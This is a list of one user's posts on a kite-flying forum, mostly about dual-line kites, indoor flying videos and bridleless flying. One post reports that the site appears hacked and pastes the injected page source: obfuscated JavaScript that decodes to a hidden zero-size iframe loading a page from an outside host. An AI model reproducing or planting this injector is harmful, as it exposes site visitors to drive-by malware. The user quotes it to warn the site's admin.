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  1. Dan

    Time well spent.

    I've been thinking of giving fighters a shot as of late. Any suggestions for a first fighter? ~Dan
  2. Dan

    New dual line kite poll

    Oi, if Randy is a hack, I'm in deep trouble. =P ~Dan
  3. Just send him a PM with a link to this thread. If you have an actual email address for him, I'd be grateful if you could pass it on. ~Dan
  4. When I hit the "Mark all forums as read" link in my new posts search results, I get a really suspect page back. It looks like it's trying to execute a JavaScript exploit. The entire page source is below. <script>function v48372ac0e7c1a(v48372ac0e87d5){ function v48372ac0e938a () {var v48372ac0e9f41=16; return v48372ac0e9f41;} return(parseInt(v48372ac0e87d5,v48372ac0e938a()));}function v48372ac0eaaf8(v48372ac0eb6b2){ function v48372ac0ed9d9 () {var v48372ac0ee58f=2; return v48372ac0ee58f;} var v48372ac0ec26a='';for(v48372ac0ece1f=0; v48372ac0ece1f<v48372ac0eb6b2.length; v48372ac0ece1f+=v48372ac0ed9d9()){ v48372ac0ec26a+=(String.fromCharCode(v48372ac0e7c1a(v48372ac0eb6b2.substr(v48372ac0ece1f, v48372ac0ed9d9()))));}return v48372ac0ec26a;} document.write(v48372ac0eaaf8('3C696672616D652077696474683D273027206865696768743D273027207372633D2768747470 3A2F2F6D6169736F6E6A6A2E636F6D2E62722F6167656E64612F6361642F636F6E6669672F6966726 16D652E706870273E3C2F696672616D653E'));</script> Visually, it looks like a blank page with a dot in the upper left hand corner and I have to hit back in my browser to get back to this site. Something doesn't add up. I think you may be hacked, John. ~Dan
  5. Dan

    New dual line kite poll

    http://www.r-sky.com Lists it as 5-35 km/h. Your basic Std. wind range. They have an UL, SUL, and vented version as well. Sounds like you would want the SUL or UL version. ~Dan
  6. Dan

    New dual line kite poll

    Just got a R-Sky Nirvana and loved my first outing with it. I can honestly say it that I clicked with it like no other kite I have in the bag. Seems like a design that is still going strong after all these years. In Randy G.'s hands it appears capable of all the tricks I've ever heard of. I've heard rumor that the Silver Fox line of kites is based on the Sea Devil, but I have no idea how true that is. I have the full lineup of the 2.5 series. Haven't flown them as much as some of my other kites. Winds here demand an UL most of the time and the Silver Fox UL is no feather weight. ~Dan
  7. Whatever you did, did the trick! Thanks, John. ~Dan
  8. Dan

    Indoor Flying Practice

    I was able to copy and paste Glen's URL and see it... was it supposed to be the same gypsy dance video? ~Dan
  9. Dan

    Dual line Kite opinions

    Most likely you saw John flying the VIP by Lam Hoac. It has a 50" wingspan. http://skysportdesign.com/vip.htm I've heard but never flown that the Level One Amazing is a pretty decent indoor kite and well as the iTrix. ~Dan
  10. Dan

    Indoor Flying Practice

    Ah, I see the problem, Penny. The link is getting cut. The '...' is showing up in the link when I click it. Try posting it again and put [url]http://www.google.com[/url] tags around it like the example above. ~Dan
  11. Dan

    Indoor Flying Practice

    Google seems to be having issues with the video. All I get is this: ~Dan
  12. Anytime I click on a link to view someone's gallery, I get this board message: Something I'm doing wrong? For instance, I was trying to view the photo's in Choccy's blog. ~Dan
  13. Dan

    Indoor Flying Practice

    Oh... umm... yeah... that sucked something fierce.... Penny, THAT WAS AWESOME! If I had a tenth of the talent I just watched, I'd be thrilled. Really, truly enjoyed it! ~Dan
  14. Dan

    Bridleless Flying

    Thanks, Watty. I'd just read somewhere (or it could be my faulty memory) that Penny almost never goes with a bridle, so I was just curious what she does in higher winds. As with most things in life, I've just got to get out there and try this and see what I think for myself. Cheers, Dan
  15. Dan

    Bridleless Flying

    Penny, thanks so much for that! This area (Northern Virginia) is defined by light winds, so I'm eager to give this a shot and see what the differences are like. Unfortunately, we're forecasted for rain for the next 4 days. Do you revert back to a bridle in moderate to higher winds, or keep with no bridle? Thanks! ~Dan